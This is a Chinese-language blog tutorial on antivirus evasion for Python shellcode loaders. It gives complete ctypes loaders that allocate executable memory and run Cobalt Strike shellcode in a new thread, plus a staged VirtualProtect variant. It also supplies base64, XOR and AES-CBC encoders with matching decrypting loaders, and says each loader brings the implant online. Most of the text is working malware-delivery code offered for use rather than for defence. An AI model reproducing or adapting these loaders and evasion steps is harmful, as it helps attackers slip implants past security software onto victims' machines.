免杀&&抽奖|python进行shellcode免杀(一)

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介: 免杀&&抽奖|python进行shellcode免杀

前言

python shellcode免杀的常用手法,实现过常见AV的效果。

本文分为几个部分:

1、shellcode加载器实现;

2、代码混淆;

3、寻找免杀api

4、分离免杀,分离加载器与shellcode;

5、python打包成exe

6、组合,免杀效果分析

shellcode加载器实现

第一个shellcode加载器

大部分脚本语言加载Shellcode都是通过cffi去调用操作系统的api,如果我们了解了C是怎么加载Shellcode的原理,使用时只需要查询一下对应语言的调用方式即可。首先我们要明白,Shellcode是一串可执行的二进制代码,那么我们想利用它就可以先通过其他的方法来开辟一段具有读写和执行权限的区域;然后将我们的Shellcode放进去,之后跳转到Shellcode的首地址去执行就可以了。

我们可以利用Python中的ctypes库实现这一过程,ctypesPython的外部函数库。它提供了与C语言兼容的数据类型,并允许调用DLL或共享库中的函数。可使用该模块以纯 Python形式对这些库进行封装。

first_python_shellcodeloader.py :

#coding=utf-8
#python的ctypes模块是内建,用来调用系统动态链接库函数的模块
#使用ctypes库可以很方便地调用C语言的动态链接库,并可以向其传递参数。
import ctypes
shellcode = bytearray(b"\xfc\xe8\x89\x00\x00\x00\x60\x89......")   
# 设置VirtualAlloc返回类型为ctypes.c_uint64
#在64位系统上运行,必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64,否则默认的是32位
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),  #要分配的内存区域的地址
    ctypes.c_int(len(shellcode)), #分配的大小
    ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
    ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性
    )
# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), #指向安全属性的指针
    ctypes.c_int(0), #初始堆栈大小
    ctypes.c_uint64(ptr), #指向起始地址的指针
    ctypes.c_int(0), #指向任何参数的指针
    ctypes.c_int(0), #创建标志
    ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

使用CS生成shellcode,填入以上代码的shellcode部分,然后运行脚本,即可上线:

然后,我们可以使用pytinstaller、py2exe打包成exe。但是现在并没有任何免杀效果。

为了达到免杀效果,我们需要从多方面去考虑,shellcode特征、加载器特征等, 需要逐个去debug

渐进式加载模式

在申请内存时,一定要把控好属性,可以在Shellcode读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect改变它的属性 -> 可执行。

#coding=utf-8
import ctypes
shellcode = bytearray(b"\xfc\x48\x83....")
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),  #要分配的内存区域的地址
    ctypes.c_int(len(shellcode)), #分配的大小
    ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
    ctypes.c_int(0x04) #该内存的初始保护属性,0x04代表可读可写不可执行属性
    )
# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)
# 这里开始更改它的属性为可执行
ctypes.windll.kernel32.VirtualProtect(ptr, len(shellcode), 0x40, ctypes.byref(ctypes.c_long(1)))
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), #指向安全属性的指针
    ctypes.c_int(0), #初始堆栈大小
    ctypes.c_uint64(ptr), #指向起始地址的指针
    ctypes.c_int(0), #指向任何参数的指针
    ctypes.c_int(0), #创建标志
    ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

当然现在也有一些杀软对VirtualAlloc和VirtualProtect连用进行查杀

代码混淆

shellcode混淆

可用的shellcode混淆方法有很多,如:直接使用aes、des、xor、base64、hex等方法对shellcode进行编码,或者使用现成的工具(msfvenom、veil)对shellcode进行二进制形式的混淆,或者反序列化混淆等,再将其中的几种进行结合以达到更好的效果。这里我们演示其中的几种。

base64

base64的实现比较简单,但是单独使用效果不怎么样,一般会与其他方法配合使用。

shellcode_base64_encode.py:

import base64
buf1 = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00..."
#b64shellcode = base64.b64encode(buf1)                   # b'xxxx'
b64shellcode = base64.b64encode(buf1).decode('ascii')    #获取纯字符串
print(b64shellcode)

我们加载器相应的需要进行base64解码,只需改前两行就可以,把生成的base64填入

first_base64_decode_shellcodeloader.py:

import base64
import ctypes
shellcode = base64.b64decode(b'/EiD5PDoyAAAAEF......')
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),  #要分配的内存区域的地址
    ctypes.c_int(len(shellcode)), #分配的大小
    ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
    ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性
    )
# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), #指向安全属性的指针
    ctypes.c_int(0), #初始堆栈大小
    ctypes.c_uint64(ptr), #指向起始地址的指针
    ctypes.c_int(0), #指向任何参数的指针
    ctypes.c_int(0), #创建标志
    ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

运行上面的代码,即可上线

xor

异或加密算是最简单高效的方法。

利用CS生成raw格式的shellcode,然后用python读取shellcode对其中的字节一个一个的做异或。

shellcode_xor_encode.py:

# __*__coding:utf-8 __*__
from optparse import OptionParser
import sys
def xorEncode(file,key,output):
    shellcode = ""
    shellcode_size = 0
    while True:
        code = file.read(1)
        if not code :
            break
        code = ord(code) ^ key
        code_hex = hex(code)
        code_hex = code_hex.replace("0x",'')
        if len(code_hex) == 1:
            code_hex = '0'+code_hex
        shellcode += '\\x' + code_hex
        shellcode_size += 1
    file.close()
    output.write(shellcode)
    output.close()
    print(f"shellcodeSize:{shellcode_size}")
if __name__== "__main__":
    usage = "usage: %prog [-f] input_filename [-k] key [-o] output_filename"
    parser = OptionParser(usage=usage)
    parser.add_option("-f","--file",help="input raw shellcode file",type="string",dest="file")
    parser.add_option("-k","--key",help="xor key",type="int",dest="key",default=11)
    parser.add_option("-o","--output",help="output x16 shellcode file",type="string",dest="output")
    if len(sys.argv) < 4:
        parser.print_help()
        exit()
    (options, params) = parser.parse_args()
    with open(options.file,'rb') as file:
        with open(options.output,'w+') as output:
            xorEncode(file,options.key,output)

这样shellcode就完成了异或加密。

接下来我们加载器相应的需要进行异或解密,注意key要一样

xor_decode_shellcodeloader.py :

import ctypes
#xor shellcode
xor_shellcode = "生成的xor shellcode"
#xor key
key = 11
shellcode = bytearray([ord(xor_shellcode[i]) ^ key for i in range(len(xor_shellcode))])
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),  #要分配的内存区域的地址
    ctypes.c_int(len(shellcode)), #分配的大小
    ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
    ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性
    )
# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), #指向安全属性的指针
    ctypes.c_int(0), #初始堆栈大小
    ctypes.c_uint64(ptr), #指向起始地址的指针
    ctypes.c_int(0), #指向任何参数的指针
    ctypes.c_int(0), #创建标志
    ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

运行上面的代码,即可上线

PyCryptodome 库

这里用到 PyCryptodome 库,它可以实现各种加密方式的加解密。

官方文档:https://pycryptodome.readthedocs.io/en/latest/

可用的加密方式:

Symmetric ciphers:
AES
Single and Triple DES (legacy)
CAST-128 (legacy)
RC2 (legacy)
Traditional modes of operations for symmetric ciphers:
ECB
CBC
CFB
OFB
CTR
OpenPGP (a variant of CFB, RFC4880)
Authenticated Encryption:
CCM (AES only)
EAX
GCM (AES only)
SIV (AES only)
OCB (AES only)
ChaCha20-Poly1305
Stream ciphers:
Salsa20
ChaCha20
RC4 (legacy)
Cryptographic hashes:
SHA-1
SHA-2 hashes (224, 256, 384, 512, 512/224, 512/256)
SHA-3 hashes (224, 256, 384, 512) and XOFs (SHAKE128, SHAKE256)
Functions derived from SHA-3 (cSHAKE128, cSHAKE256, TupleHash128, TupleHash256)
KangarooTwelve (XOF)
Keccak (original submission to SHA-3)
BLAKE2b and BLAKE2s
RIPE-MD160 (legacy)
MD5 (legacy)
Message Authentication Codes (MAC):
HMAC
CMAC
KMAC128 and KMAC256
Poly1305
Asymmetric key generation:
RSA
ECC (NIST curves P-192, P-224, P-256, P-384 and P-521)
DSA
ElGamal (legacy)
Export and import format for asymmetric keys:
PEM (clear and encrypted)
PKCS#8 (clear and encrypted)
ASN.1 DER
Asymmetric ciphers:
PKCS#1 (RSA)
RSAES-PKCS1-v1_5
RSAES-OAEP
Asymmetric digital signatures:
PKCS#1 (RSA)
RSASSA-PKCS1-v1_5
RSASSA-PSS
(EC)DSA
Nonce-based (FIPS 186-3)
Deterministic (RFC6979)
Key derivation:
PBKDF2
scrypt
HKDF
PBKDF1 (legacy)
Other cryptographic protocols:
Shamir Secret Sharing
Padding
PKCS#7
ISO-7816
X.923

API:

安装:

pip install pycryptodome -i https://pypi.douban.com/simple

下面演示几种,更多的可以自己去探索。

AES

参考文档:

https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html

具体我这里就不再展开了。

直接用:

加密,CBC模式

shellcode_aes_encode.py:

from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
shellcode = b"\xfc\x48\x83\xe4\xf0...."
key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(shellcode, AES.block_size))
iv = b64encode(cipher.iv).decode('utf-8')
ct = b64encode(ct_bytes).decode('utf-8')
print('iv: \n {} \n key:\n {} \n ase_shellcode:\n {} \n'.format(iv,key,ct))

解密,并加载:

aes_decode_shellcodeloader.py:

import ctypes
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
#把加密代码输出的结果填到下面
iv='xxx'
key=b'xxx'
ase_shellcode='xxx'
iv = b64decode(iv)
ase_shellcode = b64decode(ase_shellcode)
cipher = AES.new(key, AES.MODE_CBC, iv)
shellcode = bytearray(unpad(cipher.decrypt(ase_shellcode), AES.block_size))
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存:调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),  #要分配的内存区域的地址
    ctypes.c_int(len(shellcode)), #分配的大小
    ctypes.c_int(0x3000),  #分配的类型,0x3000代表MEM_COMMIT | MEM_RESERVE
    ctypes.c_int(0x40) #该内存的初始保护属性,0x40代表可读可写可执行属性
    )
# 调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), #指向安全属性的指针
    ctypes.c_int(0), #初始堆栈大小
    ctypes.c_uint64(ptr), #指向起始地址的指针
    ctypes.c_int(0), #指向任何参数的指针
    ctypes.c_int(0), #创建标志
    ctypes.pointer(ctypes.c_int(0)) #指向接收线程标识符的值的指针
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

运行上面代码,即可上线:

PEM

加密

from Crypto.IO import PEM
buf = b""
# 加密
# passphrase:指定密钥
# marker:指定名称
buf = PEM.encode(buf, marker="shellcode", passphrase=None, randfunc=None)

解密,加载

import ctypes
from Crypto.IO import PEM
# 加密后的shellcode
buf = """ """
# 解密
shellcode = bytearray(PEM.decode(buf, passphrase=None)[0])
...
...

测试:



相关文章
|
6月前
|
存储 算法 数据库
Python 抽奖程序限定次数详解
构建Python抽奖程序,限定用户抽奖次数,使用字典存储用户ID及抽奖次数。`LotterySystem`类包含判断、记录和抽奖方法。当用户达到最大抽奖次数(默认3次)时,禁止继续。示例展示如何创建系统,模拟用户抽奖,并扩展功能如动态调整次数和多用户、多奖品池。性能优化可通过数据持久化和并发控制实现。
|
6月前
|
存储 数据库 文件存储
Python中实现限定抽奖次数的机制的项目实践
本文介绍了如何在Python中实现限定抽奖次数的机制。通过选择合适的数据结构、设计清晰的逻辑流程以及编写简洁明了的代码,我们可以轻松地实现这一功能。同时,我们还探讨了如何对系统进行扩展和优化,以满足更多的实际需求。希望本文能对新手在开发抽奖系统时有所帮助。
|
7月前
|
JSON 数据格式 Python
13 Python 阶段性总结抽奖系统(文末附代码地址)
13 Python 阶段性总结抽奖系统(文末附代码地址)
103 0
13 Python 阶段性总结抽奖系统(文末附代码地址)
|
Python
python之实现班级随机抽奖
python之实现班级随机抽奖
|
C++ Python
Python+Qt抽奖点名工具源码窗体程序
Python+Qt抽奖点名工具源码窗体程序
154 0
Python+Qt抽奖点名工具源码窗体程序
抽奖!Python高手之路
抽奖!Python高手之路
|
Shell Go 数据安全/隐私保护
Go/Python 免杀
Go/Python 免杀
|
Python
年会抽奖如何用 Python让自己变成天选之子
年会抽奖如何用 Python让自己变成天选之子
122 0
|
18天前
|
人工智能 数据可视化 数据挖掘
探索Python编程:从基础到高级
在这篇文章中,我们将一起深入探索Python编程的世界。无论你是初学者还是有经验的程序员,都可以从中获得新的知识和技能。我们将从Python的基础语法开始,然后逐步过渡到更复杂的主题,如面向对象编程、异常处理和模块使用。最后,我们将通过一些实际的代码示例,来展示如何应用这些知识解决实际问题。让我们一起开启Python编程的旅程吧!
|
17天前
|
存储 数据采集 人工智能
Python编程入门:从零基础到实战应用
本文是一篇面向初学者的Python编程教程,旨在帮助读者从零开始学习Python编程语言。文章首先介绍了Python的基本概念和特点,然后通过一个简单的例子展示了如何编写Python代码。接下来,文章详细介绍了Python的数据类型、变量、运算符、控制结构、函数等基本语法知识。最后,文章通过一个实战项目——制作一个简单的计算器程序,帮助读者巩固所学知识并提高编程技能。